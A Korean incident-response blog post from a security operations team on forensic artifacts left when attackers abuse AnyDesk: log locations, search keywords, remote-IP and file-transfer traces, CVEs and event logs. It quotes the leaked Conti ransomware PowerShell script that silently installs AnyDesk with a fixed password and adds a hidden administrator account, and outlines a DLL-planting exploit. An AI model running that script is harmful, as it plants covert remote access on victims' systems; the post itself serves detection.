상세 컨텐츠

본문 제목

사이버 공격 단체가 악용하는 원격제어 프로그램, AnyDesk 아티팩트 분석

침해사고 분석 리포트

by MIR 2022. 10. 4. 09:40

본문

 

01. AnyDesk 개요

최근 AnyDesk를 악용한 공격 사례가 증가하고 있다. AnyDesk는 원격 제어 애플리케이션으로 원격 데스크탑, 파일 전송 등의 기능을 제공한다. 특정 사용자 환경에 AnyDesk가 설치되어 있고 외부에서 해당 시스템에 접속하려고 할 경우 팝업 메시지가 나타나며, 사용자가 연결을 허용하면 외부에서 해당 시스템에 대한 원격 제어가 가능하다. 이러한 연결 방식 외에도 AnyDesk에 비밀번호 설정을 통해 사용자의 허용 없이 비밀번호 만으로 원격 제어가 가능하다. 비밀번호만으로 원격 접속이 가능한 특징 때문에 AnyDesk는 실제 콘티(Conti), 아보스락커(AvosLocker), 블랙하트(BlackHeart) 랜섬웨어과 같이 기업 내부망 장악을 목표로 하는 공격자들이 주로 사용하고 있다. 이번 장에서는 AnyDesk를 악용한 보안 사고가 발생했을 때 확인 가능한 아티팩트와 로그를 살펴보고자 한다.

[그림 1] AnyDesk 원격 제어 프로그램 실행 화면

 

02. AnyDesk | Conti Ransomware

2022년 3월, Conti 랜섬웨어 그룹의 데이터가 대량 유출되었다. Conti는 내부 침투를 위해  PowerShell, cmd를 이용해 AnyDesk 설치를 자동화하여 감염 시스템에서 비밀번호를 입력하여 사용자의 동의 없이 원격으로 제어할 수 있었다.

Function AnyDesk {
    mkdir "C:\ProgramData\AnyDesk"
    # Download AnyDesk
    $clnt = new-object System.Net.WebClient
    $url = "http:[//]download[.]anydesk.com/AnyDesk.exe"
    $file = "C:\ProgramData\AnyDesk.exe"
    $clnt.DownloadFile($url,$file)
    cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
    cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password
    net user oldadministrator "qc69t4B#Z0kE3" /add
    net localgroup Administrators oldadministrator /ADD
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f

    cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id
    }

[표 1] Conti의 AnyDesk 자동 설치 PowerShell 스크립트 스니펫 유출

 

[그림 2] AnyDesk를 설치한 원격 시스템에 비밀번호를 이용하여 로그인하는 과정

 

휴대 전화로 시스템에 원격 연결을 시도하거나, GUI를 통한 접근(예: VPN, RDP, VNC, 다른 원격 제어 도구, HVNC(Hidden Virtual Network Computing) RAT 등)으로 AnyDesk를 지속해서 사용하려고 한다면 공격 행위로 의심해볼 수 있다. AnyDesk 사용이 의심스러울 경우, 사용자에게 연락하여 [원격 IP 주소의 지리적 위치, 원격 시스템의 사용자 이름, 원격 OS, 시각] 등을 확인해야 한다. 

 

03. AnyDesk 로그 수집

AnyDesk에는 4개의 로그가 있다. 설치 버전과 포터블 버전 2가지를 선택해 사용할 수 있고 각각 로그의 설치 경로가 다르다.

No Log Description
1 Connection log  - AnyDesk 원격 연결 수신 기록
2 Ad trace log   - AnyDesk 연결 이벤트, 오류 이벤트, 시스템 알림 이력
3 Ad_svc trace log   - Install Version에서 확인 가능
  - AnyDesk 연결 이벤트, 오류 이벤트, 시스템 알림 이력
  - 연결 이벤트에서  들어오거나 나가는 연결의 IP 주소, 
     AnyDesk ID, 우리가 연결하는 릴레이 서버 등의 정보
4 Chat log   - 데스크탑에 연결된 ID, 활성 세션에서의 모든 대화 기록

[표 2] AnyDesk 로그

 

Type Log Path
Install Version   C:\ProgramData\AnyDesk
Portable Version   C:\Users\[사용자 프로필]\AppData\Roaming\AnyDesk

[표 3] AnyDesk 로그 경로

 

[그림 3] 설치 버전 AnyDesk 로그 경로 [그림 4] 포터블 버전 AnyDesk 로그 경로

 

04. AnyDesk 로그 분석

Key 1: connection_trace.txt | 연결 시각 확인

connection_trace.txt 파일에서 수신 요청에 성공한 AnyDesk 연결 정보를 확인할 수 있다. 'Passwd' 와 'Token'은 외부에서 원격 연결 요청 시 암호를 설정한 경우에 확인할 수 있고, 수신 요청만 기록하며 데이터 관련 기록은 표시하지 않는다.

Status Type Description
User   연결 요청을 수락하는 로컬 사용자
Passwd   원격 시스템에서 입력한 암호
Token   원격 시스템에서 선택하는 “비밀번호 기억하기” 체크
REJECTED   로컬 사용자가 요청 거부

[표 4] Connection_trace.txt - Status Type

 

connection_trace.txt 파일의 필드는 [ Direction, limited to Date/Time, status, alias, ID ]로 구성되어 있으며, UTC를 기준으로 한다. [표 5]는 일부 정보(AnyDesk 연결 ID 변경)를 변경한 connection trace log 예시이다.

Direction      Date/Time                 Status                 Alias               ID
Incoming    2022-09-29, 05:28     User                     736xxxxxx     736xxxxxx
Incoming    2022-09-29, 05:35      REJECTED        736xxxxxx     736xxxxxx
Incoming    2022-09-29, 05:37      Passwd              736xxxxxx     736xxxxxx
Incoming    2022-09-29, 05:40     Token                  736xxxxxx     736xxxxxx
Incoming    2022-09-29, 05:40     Token                  736xxxxxx     736xxxxxx
Incoming    2022-09-29, 05:54     User                      736xxxxxx     736xxxxxx

[표 5] connection_trace.txt

 

Key 2: ad.trace, ad_svc.trace | 특정 키워드 검색

ad.trace, ad_svc.trace 파일의 특정 키워드를 검색해 파일 복사 이벤트, 클립보드 텍스트 복사 이벤트, 원격 연결 성공 이벤트를 확인할 수 있다. 또한, 공격자가 원격에서 시스템을 강제로 재부팅 할 경우, ad_svc.trace 파일에서 기록을 확인할 수 있다.

PowerShell:
get-content .\ad.trace | select-string -list ‘Remote OS’, ‘Incoming session’, ‘app.prepare_task’, ‘anynet.relay’, ‘anynet.any_socket’, ‘files’, ‘text offers’
get-content .\ad_svc.trace | select-string -list ‘Remote OS’, ‘Incoming session’, ‘app.prepare_task’, ‘anynet.relay’, ‘anynet.any_socket’, ‘files’, ‘text offers’

[표 6] ad.trace, ad_svc.trace - 키워드 검색 예시

 

Key 3: ad.trace, ad_svc.trace | AnyDesk에 연결된 원격 IP 찾기

ad.trace, ad_svc.trace 파일에서 AnyDesk에 연결하는 원격 IP를 찾기 위해  "Logged in from"라는 문자열을 검색한다. 이 로그는 AnyDesk에 연결하는 원격 IP를 파악할 수 있는 유일한 로그이다. [표 7]에서 원격 IP 주소는 “23.82.193.163”임을 확인할 수 있다.

info 2022-09-29 05:24:48.621 gsvc 1208 1908 23 anynet.any_socket - Logged in from 23.82.193.163:42298 on relay cb04865e.
info 2022-09-29 05:28:18.049 gsvc 1208 1908 33 anynet.any_socket - Logged in from 23.82.193.163:42298 on relay cb04865e.
info 2022-09-29 05:30:15.455 gsvc 1208 1908 47 anynet.any_socket - Logged in from 23.82.193.163:42298 on relay cb04865e.

[표 7] ad_svc.trace - “Logged in from” 문자열 검색

 

Key 4: ad.trace, ad_svc.trace | 연결 시스템에 대한 정보 찾기

연결된 시스템에 대한 세부 정보를 확인하기 위해 ad.trace, ad_svc.trace 로그 파일을 확인한다. 로그를 통해 원격 연결 시스템의 사용자 이름이 hacker임을 알 수 있다. 

info 2022-09-29 05:28:20.658 back 4088 9100 app.backend_session - Incoming session request: hacker (736xxxxxx)

[표 8] 원격 연결 시스템의 호스트 네임

 

아래 [표 9]에서는 원격 연결한 운영 체제 정보를 확인할 수 있다.

info 2022-09-29 05:24:53.468       back   7676   2888                   app.backend_session - Remote OS: macOS, Connection flags: direct paid 3 

[표 9] 원격 연결한 운영 체제 정보

 

Key 5: ad_svc.trace, gcapi.dll | 취약점 확인

공격자는 사용자 pc에 의도적으로 취약한 AnyDesk 이전 버전을 설치하기도 하므로 ad.trace, ad_svc.trace 파일에서 AnyDesk 버전과 Windows 버전을 확인할 필요가 있다. [표 10]은 멀웨어 캠페인에 사용되거나 공격 과정에서 다운로드된 이전 버전의 AnyDesk와 관련된 CVE 목록이다.

CVE AnyDesk Version & Description
CVE-2020-13160   - Linux 및 FreeBSD AnyDesk용 AnyDesk 5.5.3 및 이전 버전
  - 원격 코드 실행에 악용될 수 있는 format string 취약점
  - 참조: http://packetstormsecurity.com/files/158291/AnyDesk-
    GUI-Format-String-Write.html
  - 참조: http://packetstormsecurity.com/files/161628/AnyDesk-
    5.5.2-Remote-Code-Execution.html
  - 참조: https://devel0pment.de/?p=1881
  - 참조: https://download.anydesk.com/changelog.txt
CVE-2020-27614   - macOS용 AnyDesk 6.0.2 및 이전 버전
  - 클라이언트 요청을 제대로 검증하지 못해 로컬 권한 상승을 
    허용하는 XPC 인터페이스 취약점
  - 참조: https://anydesk.com/cve/2020-27614/
  - 참조: https://download.anydesk.com/changelog.txt
*CVE-2020-35483   - Windows용 AnyDesk  5.4.2 - 6.0.8 버전
  - 공격자가 응용 프로그램 디렉터리에 대한 쓰기 액세스 권한이  
    있는 시스템에서 portable 모드로 실행하면 공격자가 트로이 
    목마 gcapi.dll 파일에 대한 읽기 전용 설정을 통해 로컬 
    사용자 계정을 손상시킬 수 있음
  - 참조: https://anydesk.com/cve/2020-35483/
*CVE-2021-40854   -  Windows용 AnyDesk 버전 3.1.0 ~ 6.3.2(6.2.6 제외)
  - UI를 통해 로컬 사용자가 채팅 로그 열기 기능을 사용해 다른
    응용 프로그램을 관리자 권한으로 실행할 수 있음
  - 원격으로 악용 불가
  - 참조: https://anydesk.com/cve/2021-40854/
CVE-2018-13102   - Windows 7 SP1의 AnyDesk "12.06.2018 - 4.1.3" 이전 버전
  - DLL preloading 취약점
  - 참조: https://download.anydesk.com/changelog.txt
CVE-2017-14397   - Windows용 AnyDesk 3.6.1 이전 버전
  - DLL injection 취약점
  - 참조: https://download.anydesk.com/changelog.txt

[표 10] 공격에 사용된 AnyDesk CVE 목록

 

CVE-2020-35483의 경우, 공격자는 AnyDesk 폴더에 “악성 gcapi.dll” 파일을 덮어씌운 후, 읽기 전용 속성을 설정해 덮어쓰기를 방지하고 이 파일에 포함된 악성 코드를 실행한다. 사용자가 AnyDesk를 관리자로 실행하지 않는 한 코드는 일반 사용자 권한으로 실행된다. gcapi.dll은 [표 11]과 같이 실행 파일과 같은 위치나 Temp 폴더에서 확인할 수 있다. AnyDesk는 실행될 때 gcapi.dll 파일을 로드하려고 시도하기 때문에 브라우저 다운로드 디렉터리에서 실행되는 AnyDesk portable 버전에서 특히 위험하다.

[그림 5] AnyDesk 응용프로그램과 gcapi.dll 파일

 

Type Log Path
Install Version   C:\windows\temp\gcapi.dll
Portable Version   C:\users\<username>\appdata\local\temp\gcapi.dll

[표 11] gcapi.dll 파일 경로 

 

CVE-2021-40854의 경우, AnyDesk에 대한 GUI 액세스가 필요하다. 연결이 수락되면 “Open Chat Log” 링크를 클릭해 에스컬리에션된 권한으로 메모장을 연 후, “파일 > 열기”를 통해 모든 응용프로그램을 관리자 권한으로 실행할 수 있게 된다. AnyDesk는 Chat 윈도우와 원격 상호 작용을 차단하므로 원격으로는 이 취약점을 악용할 수 없다. 

 

Key 6: ad.trace, ad_svc.trace | AnyDesk 세션 중에 데이터가 유출되었는지 확인

공격자는 시스템에서 파일이나 텍스트를 복사하여 붙여 넣을 수 있다. [표 12]를 보면, 시스템에서 파일을 복사한 로그를 확인할 수 있다. “files”와 “offer문자열을 이용해 파일 복사를 확인할 수 있다. 

info 2022-09-29 05:59:47.474 ctrl   3380   3812 clipbrd.capture - Found 1 files
info 2022-09-29 05:59:51.072 ctrl   3380   3332 app.ctrl_clip_comp - Got a request to list v in offer 350f65d66c4f947c.
info 2022-09-29 05:59:51.073 ctrl   3380   3332 app.ft_src_session - Starting to iterate files from offer 350f65d66c4f947c.
info 2022-09-29 06:02:28.713 ctrl   3380   3332 app.deleter - Preparing 1 files in 'C:\Users\cyberone\Documents'.
info 2022-09-29 06:02:28.713 ctrl   3380   4880 app.prepare_task - Preparing files in 'C:\Users\cyberone\Documents'.
info 2022-09-29 06:02:28.714 ctrl   3380   4880 app.local_file_transfer - Preparation of 1 files completed (io_ok).
info 2022-09-29 06:02:28.717 ctrl   3380   4880 app.deleter - Deleting 1 files.

[표 12] ad.trace - “files”,  “offer” 문자열 검색

 

[표 13]에서는 텍스트를 복사한 기록을 확인할 수 있다. 공격자는 이러한 방식으로 시스템에서 실행 파일의 base64 복사본, 민감한 데이터, ssh 키 등과 같은 전체 텍스트 파일을 복사할 수 있다.

info 2022-09-29 06:49:21.292 ctrl 5668 5672 clipbrd.capture - Relaying text offers.

[표 13] 텍스트 복사 기록

 

Key 7: User.conf | 파일 전송 내역 확인

user.conf 파일은 공격자가 파일 전송을 시도한 경우에 유용하게 활용된다. 기본적으로 사용자 폴더 경로에 위치하며, AnyDesk에서 발생한 연결 이벤트, 오류 이벤트, 시스템 알림 이력을 확인할 수 있다. User.conf 파일에서도 연결 기록을 확인할 수 있지만, AnyDesk ID와 Desktop 버전을 사용할 때에만 확인 가능하다는 한계가 있다. 

 

Key 8: Event Log | 악의적인 이벤트인지 판단하기

Sysmon Operational 이벤트 로그와 Security 이벤트 로그에서 AnyDesk의 명령줄 매개변수, 타임스탬프, 활동 내역 등을 확인할 수 있다.

The location of these files to collect are:

C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx

[표 14] Sysmon Operational 이벤트 로그, Security 이벤트 로그 경로

 

명령줄 정보는 Sysmon 이벤트 ID 1, Security 이벤트 ID 4688에서 얻을 수 있다. Conti Ransomware처럼 공격자는 원격 접근을 위해 AnyDesk를 자동으로 설치할 수 있다. 자동 설치와 패스워드를 통한 AnyDesk 원격 연결은 공격자의 행위가 EDR, XDR, AV에 기록되지 않아 사용자가 확인하기 어렵다.

 

05. 마치며

AnyDesk는 사용자 동의 없이 패스워드만으로도 원격 제어를 가능하게 하므로 공격자에게 널리 쓰이는 원격제어 프로그램 중 하나이다. 공격자는 무차별 대입 공격(Brute Forcing)과 사전 공격(Dictionary Attack)을 이용해 취약한 비밀번호를 탈취해 악용할 수 있다. 이러한 방식 외에도 AnyDesk의 이전 버전을 설치해 취약점을 공격할 수도 있다. 

 

따라서 보안 관리자들은 추측하기 어려운 복잡한 비밀번호를 사용해야 하며, 최신 버전을 사용해 취약점 공격을 방지해야 한다. 외부에 공개되어 접근할 수 있는 데이터베이스 서버 등의 경우 FW, IPS, WAF와 같은 보안 제품을 이용해 외부 공격자로부터 접근을 통제하여야 한다.

 

06. 참고 자료

[1] Digital Forensic Artifact of AnyDesk Application

https://medium.com/mii-cybersec/digital-forensic-artifact-of-anydesk-application-c9b8cfb23ab5

[2] AnyDesk Forensic Analysis and Artifacts

https://hatsoffsecurity.com/2022/02/28/anydesk-forensic-analysis-and-artefacts/

[3] Conti Secrets Hacker’s Handbook Leaked

https://blog.cyble.com/2021/08/06/conti-secrets-hackers-handbook-leaked/



보안관제센터 MIR Team

관련글 더보기

댓글 영역